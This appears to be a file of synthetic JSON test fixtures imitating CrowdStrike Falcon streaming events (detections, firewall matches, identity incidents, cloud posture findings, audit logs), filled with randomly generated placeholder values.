+{"metadata": {"customerIDString": "thisshirt","offset": -1459608883,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Orwellianweather","CustomerId": "myteam","Ipv": "80.161.14.82","CommandLine": "Monacanwork","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "everyoneloneliness","ICMPCode": "thosepack","ICMPType": "therescold","ImageFileName": "itschild","LocalAddress": "97.233.247.218","LocalPort": "59287","MatchCount": -752703552,"MatchCountSinceLastReport": 1362140228,"NetworkProfile": "whichpod","PID": "1335199845","PolicyName": "Greekcompany","PolicyID": "toughcase","Protocol": "Canadianenergy","RemoteAddress": "42.122.0.30","RemotePort": "45924","RuleAction": "yourpigeon","RuleDescription": "bush part bundle woman thosetrip","RuleFamilyID": "itidea","RuleGroupName": "dangeroussnow","RuleName": "Hitlerianchildhood","RuleId": "lazyoil","Status": "howteam","Timestamp": 1751371830,"TreeID": "thesenumber"}}
+{"metadata": {"customerIDString": "somebodyfreedom","offset": 43657060,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "over thereyear","UserID": "Guyanesebouquet","ExecutionID": "heavilyunion","ReportID": "tensereligion","ReportName": "hishost","ReportType": "whygroup","ReportFileReference": "livelyarmy","Status": "eachboard","StatusMessage": "howpod","ExecutionMetadata": {"ExecutionStart": -1103599907,"ExecutionDuration": 148919912,"ReportFileName": "hergirl","ResultCount": -1505061778,"ResultID": "substantialcaravan","SearchWindowStart": -1306083482,"SearchWindowEnd": -1762388995}}}
+{"metadata": {"customerIDString": "muchspeed","offset": 2021566226,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "herehail","IncidentDescription": "temple part class government caravan lawn mustering fleet aid house horde wisp life wood lie wisp camp hail power child envy flock tameeye","Severity": 18,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Rooseveltiangovernment","UserName": "worrisomepigeon","EndpointName": "theseedge","EndpointIp": "253.204.237.58","Category": "Incidents","NumbersOfAlerts": 1612452297,"NumberOfCompromisedEntities": -606725477,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/mygroup?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "whichmuster","offset": 970552522,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "thatlibrary","IncidentDescription": "sheaf tablet spot riches mercy fact irritation school dream lighter wad set regiment face stand galaxy party host head set horde scold fewrubbish","Severity": 36,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itswisp","UserName": "somegrandmother","EndpointName": "fewxylophone","EndpointIp": "134.186.0.23","Category": "Incidents","NumbersOfAlerts": -773093891,"NumberOfCompromisedEntities": 284406,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Monacanobesity?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "hersleep","offset": 2117033481,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "yourtrip","DataDomains": "Identity","Description": "village congregation emptylaughter","DetectId": "anyheap","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "151.18.34.14","HostNames": "hundredregiment","Name": "whyhand","PatternId": 96844202,"Severity": 29,"SourceProducts": "mycourage","SourceVendors": "heavilytrain","StartTimeEpoch": 1643317697728000000,"TacticIds": "ournumber","Tactics": "impromptucluster","TechniqueIds": "wherepacket","Techniques": "lighthand","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "severalcast","offset": -2011435482,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "muchnest","HostnameField": "thesewit","UserName": "nobodyband","StartTimestamp": 1582830734,"AgentIdString": "theredeceit"}}
+{"metadata": {"customerIDString": "whycat","offset": -1991816859,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "itsyear","State": "open","FineScore": 8.621264100330867,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "Danishnation","HostID": "whoseday","LMHostIDs": ["everythingbook"],"UserId": "someenergy"}}
+{"metadata": {"customerIDString": "Beethovenianjoy","offset": 1291930396,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "concerningparrot","CustomerId": "purplecup","Ipv": "25.130.123.155","CommandLine": "itswood","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "theregroup","ICMPCode": "howkangaroo","ICMPType": "Americanthing","ImageFileName": "whichcluster","LocalAddress": "168.220.113.250","LocalPort": "17728","MatchCount": -1354762399,"MatchCountSinceLastReport": 1795572098,"NetworkProfile": "sometea","PID": "1693870489","PolicyName": "fewold age","PolicyID": "thereworld","Protocol": "Africanbunch","RemoteAddress": "139.83.198.250","RemotePort": "37436","RuleAction": "stormyteam","RuleDescription": "range pain brace set town eye ball way government band cluster speed corner comb thing host weight wickedgalaxy","RuleFamilyID": "healthytime","RuleGroupName": "Turkishishadvice","RuleName": "strangepack","RuleId": "comfortableway","Status": "severalchest","Timestamp": 1751371830,"TreeID": "powerlesscovey"}}
+{"metadata": {"customerIDString": "Japanesethrill","offset": 1084205992,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherering","UserIp": "209.232.50.163","OperationName": "grantUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "itsloneliness","ValueString": "whoseorange"}],"Attributes": {"actor_cid": "Chinesecaravan","actor_user": "wholepair","actor_user_uuid": "yourexaltation","app_id": "tastycare","saml_assertion": "Colombianbucket","target_user": "Slovakbook","trace_id": "thesehost"}}}
+{"metadata": {"customerIDString": "itsplant","offset": 2042161910,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1616413875,"ProcessEndTime": 109600100,"ProcessId": -41791688,"ParentProcessId": -88364674,"ComputerName": "hiselectricity","UserName": "disgustingwork","DetectName": "howcrowd","DetectDescription": "cheeks relaxation time basket yoga party bunch shower head tribe place wolf pack set company train divorce body day comfort obesity range chest theirstress","Severity": 1,"SeverityName": "Medium","FileName": "adventuroustrip","FilePath": "Dutchposse\\adventuroustrip","CommandLine": "C:\\Windows\\cutebelief","SHA256String": "therebundle","MD5String": "somebodycongregation","SHA1String": "wherewit","MachineDomain": "Muscoviteperson","NetworkAccesses": [{"AccessType": -1608469328,"AccessTimestamp": 1751371565,"Protocol": "mycleverness","LocalAddress": "133.71.68.246","LocalPort": 72747,"RemoteAddress": "37.194.48.145","RemotePort": 78870,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatluck?_cid=xxxxxxx","SensorId": "thosefilm","IOCType": "behavior","IOCValue": "Cormoranjustice","DetectId": "inquiringplant","LocalIP": "143.246.203.58","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "herbundle","Technique": "Thatcheritehumour","Objective": "a little bitsalt","PatternDispositionDescription": "loss galaxy life woman scheme place son thing eye bag mob muster freedom luxury day economics exaltation care wheat mercy blouse orchard team nobodypleasure","PatternDispositionValue": 213000018,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": false,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "theirwoman","ParentCommandLine": "Englishdoor","GrandparentImageFileName": "nocompany","GrandparentCommandLine": "mypoint","HostGroups": "halfteam","AssociatedFile": "hisbale","PatternId": -612094550}}
+{"metadata": {"customerIDString": "whosesilence","offset": -1101819049,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "thiselection","DetectName": "therebevy","DetectDescription": "wisp tolerance muster cautiouspatrol","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somebodymother?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 12,"SeverityName": "High","Tactic": "Englishhail","Technique": "yourtrend","Objective": "yellowhat","SourceAccountDomain": "brightboy","SourceAccountName": "theirchaise longue","SourceAccountObjectSid": "whosebasket","SourceEndpointAccountObjectGuid": "Thatcheriteproblem","SourceEndpointAccountObjectSid": "thosepatrol","SourceEndpointHostName": "thoselitter","SourceEndpointIpAddress": "214.134.146.212","SourceEndpointSensorId": "theirexaltation","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whynumber","PatternId": -1694512080}}
+{"metadata": {"customerIDString": "luckyfriend","offset": -1320502072,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Peruvianfriend","Region": "us-west-2","ResourceId": "upsetadvice","ResourceIdType": "ourscold","ResourceName": "everybodyjealousy","ResourceCreateTime": 0,"PolicyStatement": "itswork","PolicyId": 1065593971,"Severity": 4,"SeverityName": "Low","CloudPlatform": "ourclump","CloudService": "Hitlerianjoy","Disposition": "Passed","ResourceUrl": "whoseluck","Finding": "Costa Ricanjustice","Tags": [{"Key": "histroop","ValueString": "theirband"}],"ReportUrl": "youngbunch","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "yournap","offset": 52775202,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hereuncle","UserIp": "220.90.37.221","OperationName": "requestResetPassword","ServiceName": "detections","AuditKeyValues": [{"Key": "allpollution","ValueString": "yourwoman"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whybow"}}}
+{"metadata": {"customerIDString": "theirbevy","offset": -1067305303,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thoughtfulcatalog","PolicyId": 2140486263,"PolicyStatement": "itsproject","CloudProvider": "whyidea","CloudService": "thosehand","Severity": 91,"SeverityName": "Medium","EventAction": "a little bittroupe","EventSource": "Turkishchild","EventCreatedTimestamp": 1663011160,"UserId": "whatconfusion","UserName": "whymirror","UserSourceIp": "112.140.0.11","Tactic": "thosecar","Technique": "openmonkey"}}
+{"metadata": {"customerIDString": "Burkineseprogress","offset": -1876291398,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "famousanswer","Region": "us-east-2","ResourceId": "whosearchipelago","ResourceIdType": "ourhouse","ResourceName": "onething","ResourceCreateTime": 0,"PolicyStatement": "myhorror","PolicyId": -438619601,"Severity": 52,"SeverityName": "Informational","CloudPlatform": "whypermission","CloudService": "everybodygroup","Disposition": "Passed","ResourceUrl": "theircorner","Finding": "howregiment","Tags": [{"Key": "thismob","ValueString": "whatspeed"}],"ReportUrl": "theirenergy","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "knightlyplant","offset": -795467579,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "thoseteam","Highlights": ["hisfailure"],"MatchedTimestamp": 1686889114000,"RuleId": "wheretroupe","RuleName": "whichpod","RuleTopic": "thoughtfulfood","RulePriority": "eachwealth","ItemId": "whoseboard","ItemType": "CS","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "whosemurder","offset": -2040266645,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "Indonesianpart","HostnameField": "poisedchildren","UserName": "outrageousadvice","StartTimestamp": 1582830734,"AgentIdString": "whypoint"}}
+{"metadata": {"customerIDString": "Elizabethanvision","offset": -1497924211,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1607933238,"ProcessEndTime": -15463873,"ProcessId": -1301506679,"ParentProcessId": -896896464,"ComputerName": "somefriendship","UserName": "impromptuschool","DetectName": "Laotianwad","DetectDescription": "stand troupe muster brother party food thing pod problem library lamp posse pack scold point disregard mob time catalog life bunch leap significantpatience","Severity": 4,"SeverityName": "Critical","FileName": "pricklingboxers","FilePath": "thesefriend\\pricklingboxers","CommandLine": "C:\\Windows\\Torontonianmustering","SHA256String": "nobodywork","MD5String": "yourcompany","SHA1String": "whichcomb","MachineDomain": "numeroustime","NetworkAccesses": [{"AccessType": 679253587,"AccessTimestamp": 1751371565,"Protocol": "mymob","LocalAddress": "204.28.103.128","LocalPort": 40511,"RemoteAddress": "45.210.118.214","RemotePort": 39206,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allgroup?_cid=xxxxxxx","SensorId": "howanger","IOCType": "filename","IOCValue": "whosepunctuation","DetectId": "fewbouquet","LocalIP": "66.102.253.111","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "hergroup","Technique": "howmustering","Objective": "over therejoy","PatternDispositionDescription": "traffic tomato vision foot seafood muster horn someoneidea","PatternDispositionValue": -1157171598,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "eachsand","ParentCommandLine": "oursolitude","GrandparentImageFileName": "knightlyweather","GrandparentCommandLine": "Uzbekexaltation","HostGroups": "Koreanusage","AssociatedFile": "whosebird","PatternId": 1345104076}}
+{"metadata": {"customerIDString": "thereway","offset": -1246758550,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howpack","Region": "us-west-1","ResourceId": "howweek","ResourceIdType": "Pacificsolitude","ResourceName": "theremarriage","ResourceCreateTime": 0,"PolicyStatement": "Vietnameseknife","PolicyId": -1724024903,"Severity": 75,"SeverityName": "Critical","CloudPlatform": "Turkmenway","CloudService": "therehelp","Disposition": "Failed","ResourceUrl": "histruth","Finding": "hundredsriches","Tags": [{"Key": "therestack","ValueString": "eachslippers"}],"ReportUrl": "lots ofbunch","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "faithfulbunch","offset": -1313057981,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "eachtomato","PolicyId": 1827925826,"PolicyStatement": "Egyptianbill","CloudProvider": "thesemob","CloudService": "somethrill","Severity": 31,"SeverityName": "Informational","EventAction": "heavilysedge","EventSource": "whatwad","EventCreatedTimestamp": 1663011160,"UserId": "everybodyday","UserName": "myhost","UserSourceIp": "180.130.45.111","Tactic": "anygroup","Technique": "itsparty"}}
+{"metadata": {"customerIDString": "abundantcap","offset": 1987256938,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "plenty ofreligion","CustomerId": "wheregarage","Ipv": "240.12.98.92","CommandLine": "onemob","ConnectionDirection": "2","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": false,"Monitor": true},"HostName": "whycrew","ICMPCode": "plenty ofwit","ICMPType": "Guyanesepeace","ImageFileName": "hisenergy","LocalAddress": "171.220.213.231","LocalPort": "24578","MatchCount": 1544303582,"MatchCountSinceLastReport": -1943062570,"NetworkProfile": "severalstreet","PID": "1387435999","PolicyName": "nodress","PolicyID": "confusingsnowman","Protocol": "mycouch","RemoteAddress": "139.80.46.32","RemotePort": "11855","RuleAction": "ourhonesty","RuleDescription": "spottedfood","RuleFamilyID": "Colombianschool","RuleGroupName": "somewidth","RuleName": "grumpyweek","RuleId": "whichart","Status": "allnumber","Timestamp": 1751371830,"TreeID": "Iraqidog"}}
+{"metadata": {"customerIDString": "anythinggang","offset": 702249484,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "thisimportance","MobileDetectionId": 564298668,"ComputerName": "Italianliterature","UserName": "whoseflock","ContextTimeStamp": 1649061056,"DetectId": "Rooseveltianstreet","DetectName": "whatwork","DetectDescription": "towel bird door whathost","Tactic": "shinybill","TacticId": "nonecurrency","Technique": "thesebook","TechniqueId": "oddmustering","Objective": "everybodysink","Severity": 97,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allpair?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "severalset","AndroidAppLabel": "theiradvantage","DexFileHashes": "ourcare","ImageFileName": "heavychild","AppInstallerInformation": "eachwad","IsBeingDebugged": false,"AndroidAppVersionName": "howfire","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "anyyear","offset": -2097150535,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "hisworld","DataDomains": "Cloud","Description": "army lawyer friendship group time hedge job light line team wherepack","DetectId": "eitherbale","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "6.128.247.178","HostNames": "herroad","Name": "hertime","PatternId": 1611855996,"Severity": 13,"SourceProducts": "hisway","SourceVendors": "thosecompany","StartTimeEpoch": 1643317697728000000,"TacticIds": "lots ofbird","Tactics": "Victoriankilometer","TechniqueIds": "howclump","Techniques": "mybevy","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "Atlanticmustering","offset": 804608566,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "everythingposse","Region": "us-east-2","ResourceId": "whereleap","ResourceIdType": "thesehedge","ResourceName": "elatedbush","ResourceCreateTime": 0,"PolicyStatement": "allstand","PolicyId": 671230144,"Severity": 19,"SeverityName": "Low","CloudPlatform": "hereloneliness","CloudService": "everythingappetite","Disposition": "Passed","ResourceUrl": "howtroop","Finding": "fullyear","Tags": [{"Key": "sufficientharvest","ValueString": "emptynumber"}],"ReportUrl": "thosetraffic","Timestamp": 1751371830}}
+{"metadata": {"customerIDString": "Monacanarchipelago","offset": -798305790,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fewannoyance","State": "closed","FineScore": 6.078521740200174,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "thischeese","HostID": "Marxistwad","LMHostIDs": ["anycarrot"],"UserId": "wholeroom"}}
+{"metadata": {"customerIDString": "wherepacket","offset": 845841115,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anyappetite","UserIp": "1.86.80.213","OperationName": "deactivateUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "eagerpod","ValueString": "littlemob"}],"Attributes": {"actor_cid": "herheart","actor_user": "tooweek","actor_user_uuid": "badnoise","app_id": "Swaziharm","saml_assertion": "Polishmob","target_user": "allcast","trace_id": "whatshop"}}}
+{"metadata": {"customerIDString": "Orwellianmethod","offset": 574885279,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fiercepleasure","State": "open","FineScore": 2.744330277602896,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "somepoint","HostID": "itsmember","LMHostIDs": ["singlefire"],"UserId": "over therehost"}}
+{"metadata": {"customerIDString": "anyonetea","offset": 238823863,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Plutonianscold","UserID": "somegang","ExecutionID": "lots ofcackle","ReportID": "anythingperson","ReportName": "whytheater","ReportType": "pricklingcaravan","ReportFileReference": "manybattery","Status": "whytribe","StatusMessage": "hisreel","ExecutionMetadata": {"ExecutionStart": -15392455,"ExecutionDuration": 888890225,"ReportFileName": "neitherforest","ResultCount": -594326357,"ResultID": "heregroup","SearchWindowStart": 865282015,"SearchWindowEnd": 2022399683}}}
+{"metadata": {"customerIDString": "fewtroop","offset": -498457272,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "so fewlife","State": "closed","FineScore": 4.443175154365333,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "wherelife","HostID": "over theremistake","LMHostIDs": ["wherelife"],"UserId": "troublingbuffalo"}}
+{"metadata": {"customerIDString": "myyoga","offset": 1439636240,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -2022562641,"ProcessEndTime": -1156665627,"ProcessId": -364850416,"ParentProcessId": 286295241,"ComputerName": "someonegenerosity","UserName": "gleamingtiming","DetectName": "allworld","DetectDescription": "street car brain set anthology set trousers thesedelay","Severity": 4,"SeverityName": "Medium","FileName": "somebodyarmy","FilePath": "muchanthology\\somebodyarmy","CommandLine": "C:\\Windows\\theseway","SHA256String": "manyparty","MD5String": "mostforest","SHA1String": "whystream","MachineDomain": "Brazilianhotel","NetworkAccesses": [{"AccessType": -770984556,"AccessTimestamp": 1751371565,"Protocol": "whatrange","LocalAddress": "97.122.36.88","LocalPort": 7374,"RemoteAddress": "170.55.197.77","RemotePort": 72679,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Burmeseman?_cid=xxxxxxx","SensorId": "emptykeyboard","IOCType": "hash_sha256","IOCValue": "enough ofobesity","DetectId": "over thererange","LocalIP": "234.220.4.208","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "plenty ofcare","Technique": "a little bitgalaxy","Objective": "Spanishpod","PatternDispositionDescription": "way battery frighteningwoman","PatternDispositionValue": 1535724418,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "therewad","ParentCommandLine": "itsanger","GrandparentImageFileName": "eachplane","GrandparentCommandLine": "Italiantrend","HostGroups": "whichostrich","AssociatedFile": "somedaughter","PatternId": 44914446}}
+{"metadata": {"customerIDString": "helpfulreligion","offset": 366394011,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "muchfurniture","PolicyId": -2115267427,"PolicyStatement": "Cambodianpoint","CloudProvider": "yourrabbit","CloudService": "repellingcalm","Severity": 84,"SeverityName": "Informational","EventAction": "manyarchipelago","EventSource": "lightidea","EventCreatedTimestamp": 1663011160,"UserId": "thesepack","UserName": "grumpydollar","UserSourceIp": "197.194.169.131","Tactic": "Bahamianpain","Technique": "somebodypoverty"}}
+{"metadata": {"customerIDString": "whereharm","offset": 182113224,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "luckydesigner","HostnameField": "wherecovey","UserName": "thoseplant","StartTimestamp": 1582830734,"AgentIdString": "grievingchild"}}
+{"metadata": {"customerIDString": "herlife","offset": -1347839151,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -1472770705,"ProcessEndTime": -566264563,"ProcessId": -125042445,"ParentProcessId": 322626648,"ComputerName": "thosestream","UserName": "Bangladeshiline","DetectName": "fullcongregation","DetectDescription": "number religion waist advantage year farm posse chapter weight troop leap regiment bouquet annoyance father army gossip life remote greatarmy","Severity": 1,"SeverityName": "Critical","FileName": "blushingnumber","FilePath": "Turkishcollection\\blushingnumber","CommandLine": "C:\\Windows\\whatorange","SHA256String": "theirwisp","MD5String": "blackmustering","SHA1String": "whosescold","MachineDomain": "Gaussianostrich","NetworkAccesses": [{"AccessType": 1370136032,"AccessTimestamp": 1751371565,"Protocol": "therebale","LocalAddress": "81.200.104.45","LocalPort": 7611,"RemoteAddress": "208.226.76.212","RemotePort": 47016,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Polynesianegg?_cid=xxxxxxx","SensorId": "anyanthology","IOCType": "hash_sha256","IOCValue": "insufficienthost","DetectId": "thatbevy","LocalIP": "12.99.213.236","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "theirwealth","Technique": "creepycouch","Objective": "anythinggalaxy","PatternDispositionDescription": "tie caravan plan school rhythm juice murder sunshine allcoat","PatternDispositionValue": 810334443,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "thereconfusion","ParentCommandLine": "uptightdream","GrandparentImageFileName": "theredamage","GrandparentCommandLine": "whymob","HostGroups": "superchest","AssociatedFile": "theseperson","PatternId": -1552948663}}
+{"metadata": {"customerIDString": "mygarage","offset": 2045369704,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodyfact","UserIp": "180.134.208.35","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "significantpacket","ValueString": "thesetime"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "plenty ofbrace"}}}
+{"metadata": {"customerIDString": "Portuguesepod","offset": 1799846313,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 766986983,"ProcessEndTime": -1642400641,"ProcessId": -31713984,"ParentProcessId": 1064355819,"ComputerName": "Burkineseshower","UserName": "someoneschool","DetectName": "mywolf","DetectDescription": "alligator factory youth quiver happiness wings silence staff hand wealth life confusion muster idea bread packet woman whyhatred","Severity": 5,"SeverityName": "Informational","FileName": "thatarchipelago","FilePath": "itbeauty\\thatarchipelago","CommandLine": "C:\\Windows\\busyplace","SHA256String": "gorgeousgovernment","MD5String": "severaltroop","SHA1String": "whyjoy","MachineDomain": "hiscompany","NetworkAccesses": [{"AccessType": 229359115,"AccessTimestamp": 1751371565,"Protocol": "over therehedge","LocalAddress": "170.160.134.4","LocalPort": 13190,"RemoteAddress": "244.119.175.251","RemotePort": 33347,"ConnectionDirection": 2,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/over therepart?_cid=xxxxxxx","SensorId": "blushingpoint","IOCType": "hash_sha256","IOCValue": "somebodybunch","DetectId": "darksedge","LocalIP": "104.98.225.108","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "whosefleet","Technique": "sparseweek","Objective": "nobodyluxuty","PatternDispositionDescription": "pair congregation grains galaxy awareness effect electricity bookstore dentist pyramid nest fish man foot herinfancy","PatternDispositionValue": 1033554059,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": false,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "whydivorce","ParentCommandLine": "hersilence","GrandparentImageFileName": "itsorchard","GrandparentCommandLine": "herepack","HostGroups": "itwisdom","AssociatedFile": "thoseregiment","PatternId": -45878665}}
